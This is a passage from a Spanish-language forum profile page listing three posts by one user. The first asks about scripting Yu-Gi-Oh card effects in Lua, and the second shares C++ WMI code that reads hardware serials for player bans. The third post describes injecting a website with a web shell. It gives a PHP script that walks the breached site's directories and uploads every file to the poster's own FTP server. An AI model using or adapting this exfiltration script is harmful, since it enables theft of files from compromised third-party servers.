Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - s00rk

#1
Bueno pues hago este tema ya que estoy estancado en una parte en el codigo que es en los efectos de monstruos y cartas(Esto claro lo entenderan ls que sabn del juego hehe), puesto que lo que hago es obtener los datos de todas las cartas desde No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en donde no tengo ningun problema haciendo simples parse y obtienendos los datos tales como nombre del deck, nombre de la carta, tipo, atributo y demas, el problema viene cuando son cartas de efecto, puesto que por ahora no se me ocurre nada para poderlo hacer automatizado (no quiero andar programandole cada efecto a cada carta -.-, o eso es lo que trato de lograr) y ahi puedo leer el efecto pero imposible poder desde el texto de la carta saber lo que hara hehe, por eso vengo a preguntar o ver si alguno de ustedes tiene alguna idea sobre que seria lo mas factible para hacerlo.

Tambien me he puesto a leer un poco sobre YUGIOH Phoenix, que es un programa para PC para jugar YUGIOH en linea el cual todos los efectos y demas de los monstruos estan contenidos en archivos LUA, el cual si lo conosco mas nunca lo he manejado, ademas de que no entiendo como el programa en sí, los lee o como los maneja, o si alguno conoce ya mejor como hacerlo seria de gran ayuda hehehe, ya que lo que deseo es hacer este juego para Android y que sea Online(Esto es lo de menos, para esto ya tengo la idea de como lo hare, e hice pequeñas pruebas sobre Ataque y demas hehe)

Aqui uno de ellos, bueno esto lo dejo por si puede servir d algo nose:
Código: java
--リミット·リバース
function c27551.initial_effect(c)
    --Activate
    local e1=Effect.CreateEffect(c)
    e1:SetCategory(CATEGORY_SPECIAL_SUMMON)
    e1:SetType(EFFECT_TYPE_ACTIVATE)
    e1:SetCode(EVENT_FREE_CHAIN)
    e1:SetHintTiming(0,TIMING_END_PHASE+TIMING_ATTACK)
    e1:SetProperty(EFFECT_FLAG_CARD_TARGET)
    e1:SetTarget(c27551.target)
    e1:SetOperation(c27551.operation)
    c:RegisterEffect(e1)
    --Destroy
    local e2=Effect.CreateEffect(c)
    e2:SetType(EFFECT_TYPE_CONTINUOUS+EFFECT_TYPE_SINGLE)
    e2:SetCode(EVENT_LEAVE_FIELD)
    e2:SetOperation(c27551.desop)
    c:RegisterEffect(e2)
    --Destroy2
    local e3=Effect.CreateEffect(c)
    e3:SetType(EFFECT_TYPE_CONTINUOUS+EFFECT_TYPE_FIELD)
    e3:SetRange(LOCATION_SZONE)
    e3:SetCode(EVENT_LEAVE_FIELD)
    e3:SetCondition(c27551.descon2)
    e3:SetOperation(c27551.desop2)
    c:RegisterEffect(e3)
    --Destroy3
    local e4=Effect.CreateEffect(c)
    e4:SetType(EFFECT_TYPE_CONTINUOUS+EFFECT_TYPE_FIELD)
    e4:SetRange(LOCATION_SZONE)
    e4:SetCode(EVENT_CHANGE_POS)
    e4:SetCondition(c27551.descon3)
    e4:SetOperation(c27551.desop3)
    c:RegisterEffect(e4)
end
function c27551.filter(c,e,tp)
    return c:IsAttackBelow(1000) and c:IsCanBeSpecialSummoned(e,0,tp,false,false)
end
function c27551.target(e,tp,eg,ep,ev,re,r,rp,chk,chkc)
    if chkc then return chkc:IsLocation(LOCATION_GRAVE) and chkc:IsControler(tp) and c27551.filter(chkc,e,tp) end
    if chk==0 then return Duel.GetLocationCount(tp,LOCATION_MZONE)>0
        and Duel.IsExistingTarget(c27551.filter,tp,LOCATION_GRAVE,0,1,nil,e,tp) end
    Duel.Hint(HINT_SELECTMSG,tp,HINTMSG_SPSUMMON)
    local g=Duel.SelectTarget(tp,c27551.filter,tp,LOCATION_GRAVE,0,1,1,nil,e,tp)
    Duel.SetOperationInfo(0,CATEGORY_SPECIAL_SUMMON,g,1,0,0)
end
function c27551.operation(e,tp,eg,ep,ev,re,r,rp)
    local c=e:GetHandler()
    local tc=Duel.GetFirstTarget()
    if c:IsRelateToEffect(e) and tc:IsRelateToEffect(e) then
        if Duel.SpecialSummon(tc,0,tp,tp,false,false,POS_FACEUP_ATTACK)==0 then return end
        c:SetCardTarget(tc)
    end
end
function c27551.desop(e,tp,eg,ep,ev,re,r,rp)
    local tc=e:GetHandler():GetFirstCardTarget()
    if tc and tc:IsLocation(LOCATION_MZONE) then
        Duel.Destroy(tc,REASON_EFFECT)
    end
end
function c27551.descon2(e,tp,eg,ep,ev,re,r,rp)
    local tc=e:GetHandler():GetFirstCardTarget()
    return tc and eg:IsContains(tc) and tc:IsReason(REASON_DESTROY)
end
function c27551.desop2(e,tp,eg,ep,ev,re,r,rp)
    Duel.Destroy(e:GetHandler(),REASON_EFFECT)
end
function c27551.descon3(e,tp,eg,ep,ev,re,r,rp)
    local tc=e:GetHandler():GetFirstCardTarget()
    return tc and eg:IsContains(tc) and tc:IsDefencePos()
end
function c27551.desop3(e,tp,eg,ep,ev,re,r,rp)
    local c=e:GetHandler()
    local tc=c:GetFirstCardTarget()
    local g=Group.FromCards(tc,c)
    Duel.Destroy(g,REASON_EFFECT)
end


Bueno cualquier sugerencia o duda u opinion pues es bien recibida hehe.
#2
Bueno estos dias he estado un poco perdido jeje en unos proyectos en uno de ellos trataba de bloquear PC del uso de un Juego(banearlos), y como lo mas usual es la IP, pero esta puede ser cambiada decidi mejor hacer un Ban de Hardware  asi tendrian que cambiar de PC y esto seria mas sencillo para no complicarnos jeje (exepcion cuando juegan en cybers xD)

Bueno ya sin mucho que decir aqui se los dejo, se que no es la gran cosa ni tampoco muy bueno pero les podria servir, el source lo obtuve de otro que estaba en C# Aunque no recuerdo el auto :/

Bueno aqui esta:

Código: c++
#define _WIN32_DCOM
#include <iostream>
using namespace std;
#include <comdef.h>
#include <Wbemidl.h>
#include <comutil.h>
#include <fstream>
char *H;

# pragma comment(lib, "wbemuuid.lib")

char *ToChar(string msg)
{
    char *frase = new char[msg.length()+1];
    strcpy(frase,msg.c_str());
    return frase;
}

string ToString(char *msg)
{
    return (string(msg));
}

char* GetHWID()
{
    HRESULT hres;

    hres =  CoInitializeEx(0, COINIT_MULTITHREADED);
    if (FAILED(hres))
    {
        ExitProcess(0);
    }

    hres =  CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);

                     
    if (FAILED(hres))
    {
        CoUninitialize();
        ExitProcess(0);       
    }
   
    IWbemLocator *pLoc = NULL;

    hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *) &pLoc);

    if (FAILED(hres))
    {
        CoUninitialize();
        ExitProcess(0);               
    }

    IWbemServices *pSvc = NULL;
   
    hres = pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc);
   
    if (FAILED(hres))
    {
        pLoc->Release();     
        CoUninitialize();
        ExitProcess(0);             
    }

    hres = CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);

    if (FAILED(hres))
    {
        pSvc->Release();
        pLoc->Release();     
        CoUninitialize();
        ExitProcess(0);           
    }

    IEnumWbemClassObject* pEnumerator = NULL;
    hres = pSvc->ExecQuery(bstr_t("WQL"), bstr_t("SELECT * FROM Win32_BaseBoard"), WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator);
   
    if (FAILED(hres))
    {
        pSvc->Release();
        pLoc->Release();
        CoUninitialize();
        ExitProcess(0);             
    }

    IWbemClassObject *pclsObj;
    ULONG uReturn = 0;
    char *HWID;
    char *M;
    while (pEnumerator)
    {
        HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1,
            &pclsObj, &uReturn);

        if(0 == uReturn)
        {
            break;
        }

        VARIANT vtProp;
        hr = pclsObj->Get(L"SerialNumber", 0, &vtProp, 0, 0);
        _bstr_t x = vtProp.bstrVal;           
        HWID = (char*)x;
        H = HWID;

        FILE *p = fopen("k","a+");
        fprintf(p,"%s",H);
        fclose(p);

        string M0;
        ifstream myReadFile;
        myReadFile.open("k");
        char output[100];
        if(myReadFile.is_open()) {
            while (!myReadFile.eof()) {
                myReadFile >> output;
                M0 += ToString(output);
            }
        }
        myReadFile.close();
        remove("k");
        M = ToChar(M0);
        VariantClear(&vtProp);

        pclsObj->Release();
    }

   
    pSvc->Release();
    pLoc->Release();
    pEnumerator->Release();
    CoUninitialize();
    return M;
}


char* GetProcessor()
{
    HRESULT hres;

    hres =  CoInitializeEx(0, COINIT_MULTITHREADED);
    if (FAILED(hres))
    {
        ExitProcess(0);
    }

    hres =  CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);

                     
    if (FAILED(hres))
    {
        CoUninitialize();
        ExitProcess(0);       
    }
   
    IWbemLocator *pLoc = NULL;

    hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *) &pLoc);

    if (FAILED(hres))
    {
        CoUninitialize();
        ExitProcess(0);               
    }

    IWbemServices *pSvc = NULL;
   
    hres = pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc);
   
    if (FAILED(hres))
    {
        pLoc->Release();     
        CoUninitialize();
        ExitProcess(0);             
    }

    hres = CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);

    if (FAILED(hres))
    {
        pSvc->Release();
        pLoc->Release();     
        CoUninitialize();
        ExitProcess(0);           
    }

    IEnumWbemClassObject* pEnumerator = NULL;
    hres = pSvc->ExecQuery(
        bstr_t("WQL"),
        bstr_t("SELECT * FROM Win32_Processor"),
        WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
        NULL,
        &pEnumerator);
   
    if (FAILED(hres))
    {
        pSvc->Release();
        pLoc->Release();
        CoUninitialize();
        ExitProcess(0);         
    }

    IWbemClassObject *pclsObj;
    ULONG uReturn = 0;
    char *HWID;
    char *M;
    while (pEnumerator)
    {
        HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1,
            &pclsObj, &uReturn);

        if(0 == uReturn)
        {
            break;
        }

        VARIANT vtProp;

        hr = pclsObj->Get(L"ProcessorId", 0, &vtProp, 0, 0);
        _bstr_t x = vtProp.bstrVal;           
        HWID = (char*)x;
        H = HWID;

        FILE *p = fopen("k","a+");
        fprintf(p,"%s",H);
        fclose(p);

        string M0;
        ifstream myReadFile;
        myReadFile.open("k");
        char output[100];
        if(myReadFile.is_open()) {
            while (!myReadFile.eof()) {
                myReadFile >> output;
                M0 += ToString(output);
            }
        }
        myReadFile.close();
        remove("k");
        M = ToChar(M0);

        VariantClear(&vtProp);

        pclsObj->Release();
    }

    pSvc->Release();
    pLoc->Release();
    pEnumerator->Release();
    CoUninitialize();
    return M;
}



Utilizandolo seria ya:

Código: c++
char *HWID;
    char *Procesador;
    HWID = GetHWID();
    Procesador = GetProcessor();


Ahi tambien pueden agregar y concatenar los datos y al final obtener el hash de ese string en md5 o algo jeje

Saludos n_n
#3
Back-end / Subir Directorios Completos por FTP
Junio 02, 2011, 05:16:52 AM
Bueno ahorita son las 2:11 am hehe y pues entrado a una web que logre inyectar me fue muy bien y todo pero a la final pues como cualquier otro deceaba bajarme sus archivos pero como son bastantes no me los iva a bajar 1 por 1 con la shell , entonces decidi hacer un pequeño script que suba las carpetas complestas mediante FTP de mi propia PC y pues asi fue y nada mas eso seria todo paks! xD

So aqui mi codigo:

Código: php
<?php
function getDirectory( $path = '.', $level = 0, $c ){

    $ignore = array( 'cgi-bin', '.', '..' );

    $dh = @opendir( $path );
   
    while( false !== ( $file = readdir( $dh ) ) ){
   
        if( !in_array( $file, $ignore ) ){
           
            $spaces = str_repeat( '&nbsp;', ( $level * 4 ) );
           
            if( is_dir( "$path/$file" ) ){
           
                echo "<strong>$spaces $path/$file</strong><br />";
                Ftp($c,$path."/".$file,1);
                getDirectory( "$path/$file", ($level+1),$c );
           
            } else {
           
                echo "$spaces $path/$file<br />";
                Ftp($c,$path."/".$file,0);
           
            }
       
        }
   
    }
   
    closedir( $dh );

}

function Ftp($c,$l, $t)
{
    if($t == 1)
    {
        ftp_mkdir($c,$l);
    }else{
        ftp_put($c,$l,$l,FTP_BINARY);
    }
}

$hostname = "**************";
$ftp_user_name= "***";
$ftp_user_pass = "***";
$conn_id = ftp_connect ( $hostname );

$login_result = ftp_login ( $conn_id , $ftp_user_name , $ftp_user_pass );
if($conn_id && $login_result)
{
    ini_set('max_execution_time',38000);     
    getDirectory(".",0,$conn_id);
    ftp_close($conn_id);
}else{
    echo "Error de conexion";
}



?>

Sugerencias y cualquier cosa ahi me dicen n_n